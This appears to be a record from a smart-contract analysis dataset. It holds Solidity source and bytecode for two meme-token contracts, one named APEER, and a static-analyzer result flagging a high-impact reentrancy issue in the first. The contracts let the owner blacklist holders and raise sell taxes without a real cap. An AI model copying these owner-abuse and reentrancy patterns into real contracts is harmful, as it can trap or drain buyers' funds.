for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 50_000_000_001 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 15) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 15) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a1461034c578063c3c8cd801461036c578063c9567bf914610381578063dbe8272c14610396578063dc1052e2146103b6578063dd62ed3e146103d657600080fd5b8063715018a6146102aa5780638da5cb5b146102bf57806395d89b41146102e75780639e78fb4f14610317578063a9059cbb1461032c57600080fd5b806323b872dd116100f257806323b872dd14610219578063273123b714610239578063313ce567146102595780636fc3eaec1461027557806370a082311461028a57600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b3146101a357806318160ddd146101d35780631bbae6e0146101f957600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611880565b61041c565b005b34801561016857600080fd5b5060408051808201909152600c81526b41696b69646f20536869626160a01b60208201525b60405161019a91906118fd565b60405180910390f35b3480156101af57600080fd5b506101c36101be36600461178e565b61046d565b604051901515815260200161019a565b3480156101df57600080fd5b50683635c9adc5dea000005b60405190815260200161019a565b34801561020557600080fd5b5061015a6102143660046118b8565b610484565b34801561022557600080fd5b506101c361023436600461174e565b6104c8565b34801561024557600080fd5b5061015a6102543660046116de565b610531565b34801561026557600080fd5b506040516009815260200161019a565b34801561028157600080fd5b5061015a61057c565b34801561029657600080fd5b506101eb6102a53660046116de565b6105b0565b3480156102b657600080fd5b5061015a6105d2565b3480156102cb57600080fd5b506000546040516001600160a01b03909116815260200161019a565b3480156102f357600080fd5b506040805180820190915260078152665348494b49444f60c81b602082015261018d565b34801561032357600080fd5b5061015a610646565b34801561033857600080fd5b506101c361034736600461178e565b610885565b34801561035857600080fd5b5061015a6103673660046117b9565b610892565b34801561037857600080fd5b5061015a610936565b34801561038d57600080fd5b5061015a610976565b3480156103a257600080fd5b5061015a6103b13660046118b8565b610b3f565b3480156103c257600080fd5b5061015a6103d13660046118b8565b610b77565b3480156103e257600080fd5b506101eb6103f1366004611716565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b0316331461044f5760405162461bcd60e51b815260040161044690611950565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600061047a338484610baf565b5060015b92915050565b6000546001600160a01b031633146104ae5760405162461bcd60e51b815260040161044690611950565b6802b5e3af16ed22ca008111156104c55760108190555b50565b60006104d5848484610cd3565b610527843361052285604051806060016040528060288152602001611ace602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fca565b610baf565b5060019392505050565b6000546001600160a01b0316331461055b5760405162461bcd60e51b815260040161044690611950565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a65760405162461bcd60e51b815260040161044690611950565b476104c581611004565b6001600160a01b03811660009081526002602052604081205461047e9061103e565b6000546001600160a01b031633146105fc5760405162461bcd60e51b815260040161044690611950565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106705760405162461bcd60e51b815260040161044690611950565b600f54600160a01b900460ff16156106ca5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610446565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072a57600080fd5b505afa15801561073e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076291906116fa565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107aa57600080fd5b505afa1580156107be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e291906116fa565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082a57600080fd5b505af115801561083e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086291906116fa565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b600061047a338484610cd3565b6000546001600160a01b031633146108bc5760405162461bcd60e51b815260040161044690611950565b60005b8151811015610932576001600660008484815181106108ee57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092a81611a63565b9150506108bf565b5050565b6000546001600160a01b031633146109605760405162461bcd60e51b815260040161044690611950565b600061096b306105b0565b90506104c5816110c2565b6000546001600160a01b031633146109a05760405162461bcd60e51b815260040161044690611950565b600e546109c19030906001600160a01b0316683635c9adc5dea00000610baf565b600e546001600160a01b031663f305d71947306109dd816105b0565b6000806109f26000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a5557600080fd5b505af1158015610a69573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8e91906118d0565b5050600f805468056bc75e2d9eaaca0060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b0757600080fd5b505af1158015610b1b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c5919061189c565b6000546001600160a01b03163314610b695760405162461bcd60e51b815260040161044690611950565b600f8110156104c557600b55565b6000546001600160a01b03163314610ba15760405162461bcd60e51b815260040161044690611950565b600f8110156104c557600c55565b6001600160a01b038316610c115760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610446565b6001600160a01b038216610c725760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610446565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d375760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610446565b6001600160a01b038216610d995760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610446565b60008111610dfb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610446565b6001600160a01b03831660009081526006602052604090205460ff1615610e2157600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e6357506001600160a01b03821660009081526005602052604090205460ff16155b15610fba576000600955600c54600a55600f546001600160a01b038481169116148015610e9e5750600e546001600160a01b03838116911614155b8015610ec357506001600160a01b03821660009081526005602052604090205460ff16155b8015610ed85750600f54600160b81b900460ff165b15610eec57601054811115610eec57600080fd5b600f546001600160a01b038381169116148015610f175750600e546001600160a01b03848116911614155b8015610f3c57506001600160a01b03831660009081526005602052604090205460ff16155b15610f4d576000600955600b54600a555b6000610f58306105b0565b600f54909150600160a81b900460ff16158015610f835750600f546001600160a01b03858116911614155b8015610f985750600f54600160b01b900460ff165b15610fb857610fa6816110c2565b478015610fb657610fb647611004565b505b505b610fc5838383611267565b505050565b60008184841115610fee5760405162461bcd60e51b815260040161044691906118fd565b506000610ffb8486611a4c565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610932573d6000803e3d6000fd5b60006007548211156110a55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610446565b60006110af611272565b90506110bb8382611295565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061111857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561116c57600080fd5b505afa158015611180573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a491906116fa565b816001815181106111c557634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111eb9130911684610baf565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611224908590600090869030904290600401611985565b600060405180830381600087803b15801561123e57600080fd5b505af1158015611252573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610fc58383836112d7565b600080600061127f6113ce565b909250905061128e8282611295565b9250505090565b60006110bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611410565b6000806000806000806112e98761143e565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061131b908761149b565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461134a90866114dd565b6001600160a01b03891660009081526002602052604090205561136c8161153c565b6113768483611586565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113bb91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006113ea8282611295565b82101561140757505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836114315760405162461bcd60e51b815260040161044691906118fd565b506000610ffb8486611a0d565b600080600080600080600080600061145b8a600954600a546115aa565b925092509250600061146b611272565b9050600080600061147e8e8787876115ff565b919e509c509a509598509396509194505050505091939550919395565b60006110bb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fca565b6000806114ea83856119f5565b9050838110156110bb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610446565b6000611546611272565b90506000611554838361164f565b3060009081526002602052604090205490915061157190826114dd565b30600090815260026020526040902055505050565b600754611593908361149b565b6007556008546115a390826114dd565b6008555050565b60008080806115c460646115be898961164f565b90611295565b905060006115d760646115be8a8961164f565b905060006115ef826115e98b8661149b565b9061149b565b9992985090965090945050505050565b600080808061160e888661164f565b9050600061161c888761164f565b9050600061162a888861164f565b9050600061163c826115e9868661149b565b939b939a50919850919650505050505050565b60008261165e5750600061047e565b600061166a8385611a2d565b9050826116778583611a0d565b146110bb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610446565b80356116d981611aaa565b919050565b6000602082840312156116ef578081fd5b81356110bb81611aaa565b60006020828403121561170b578081fd5b81516110bb81611aaa565b60008060408385031215611728578081fd5b823561173381611aaa565b9150602083013561174381611aaa565b809150509250929050565b600080600060608486031215611762578081fd5b833561176d81611aaa565b9250602084013561177d81611aaa565b929592945050506040919091013590565b600080604083850312156117a0578182fd5b82356117ab81611aaa565b946020939093013593505050565b600060208083850312156117cb578182fd5b823567ffffffffffffffff808211156117e2578384fd5b818501915085601f8301126117f5578384fd5b81358181111561180757611807611a94565b8060051b604051601f19603f8301168101818110858211171561182c5761182c611a94565b604052828152858101935084860182860187018a101561184a578788fd5b8795505b838610156118735761185f816116ce565b85526001959095019493860193860161184e565b5098975050505050505050565b600060208284031215611891578081fd5b81356110bb81611abf565b6000602082840312156118ad578081fd5b81516110bb81611abf565b6000602082840312156118c9578081fd5b5035919050565b6000806000606084860312156118e4578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156119295785810183015185820160400152820161190d565b8181111561193a5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119d45784516001600160a01b0316835293830193918301916001016119af565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a0857611a08611a7e565b500190565b600082611a2857634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a4757611a47611a7e565b500290565b600082821015611a5e57611a5e611a7e565b500390565b6000600019821415611a7757611a77611a7e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104c557600080fd5b80151581146104c557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207ae21e598ec517547861760ca684ee88b8a7b75b5ca0307ff64a471ac544e3cf64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,031 |
0xc7571e51c75e5916c54ad4204bab8def31e25833
|
// SPDX-License-Identifier: Unlicensed
/*
$APEER is the king of the future apes. $APEER is a community based token to grow the future ape kingdom with the token holders.
Kingdom is built and based by the community. All of the token holders have obligations to shill and market the project to grow our kingdom of ape.
Crown and power is for all the active holders. If you hold $APEER and shill elsewhere, you will have a chance to get a certain amount of the tax.
$APEER will use the scepter to burn the token to make the $APEER become one of the most popular deflationary tokens in ERC.
Throne is for the king. It is used by the development team to do marketing and develop further utility in the next stage.
https://t.me/apeerportal
*/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract APEER is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "APEER";
string private constant _symbol = "APEER";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 8;
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 8;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 20000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10001 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function initContract() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5000000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610540578063dd62ed3e14610560578063ea1644d5146105a6578063f2fde38b146105c657600080fd5b8063a2a957bb146104bb578063a9059cbb146104db578063bfd79284146104fb578063c3c8cd801461052b57600080fd5b80638f70ccf7116100d15780638f70ccf7146104655780638f9a55c01461048557806395d89b411461020957806398a5c3151461049b57600080fd5b80637d1db4a5146103ef5780637f2feddc146104055780638203f5fe146104325780638da5cb5b1461044757600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba57806374010ece146103cf57600080fd5b8063313ce5671461030957806349bd5a5e146103255780636b999053146103455780636d8aa8f81461036557600080fd5b80631694505e116101b65780631694505e1461027657806318160ddd146102ae57806323b872dd146102d35780632fd689e3146102f357600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024657600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611b00565b6105e6565b005b34801561021557600080fd5b50604080518082018252600581526420a822a2a960d91b6020820152905161023d9190611bc5565b60405180910390f35b34801561025257600080fd5b50610266610261366004611c1a565b610685565b604051901515815260200161023d565b34801561028257600080fd5b50601354610296906001600160a01b031681565b6040516001600160a01b03909116815260200161023d565b3480156102ba57600080fd5b50670de0b6b3a76400005b60405190815260200161023d565b3480156102df57600080fd5b506102666102ee366004611c46565b61069c565b3480156102ff57600080fd5b506102c560175481565b34801561031557600080fd5b506040516009815260200161023d565b34801561033157600080fd5b50601454610296906001600160a01b031681565b34801561035157600080fd5b50610207610360366004611c87565b610705565b34801561037157600080fd5b50610207610380366004611cb4565b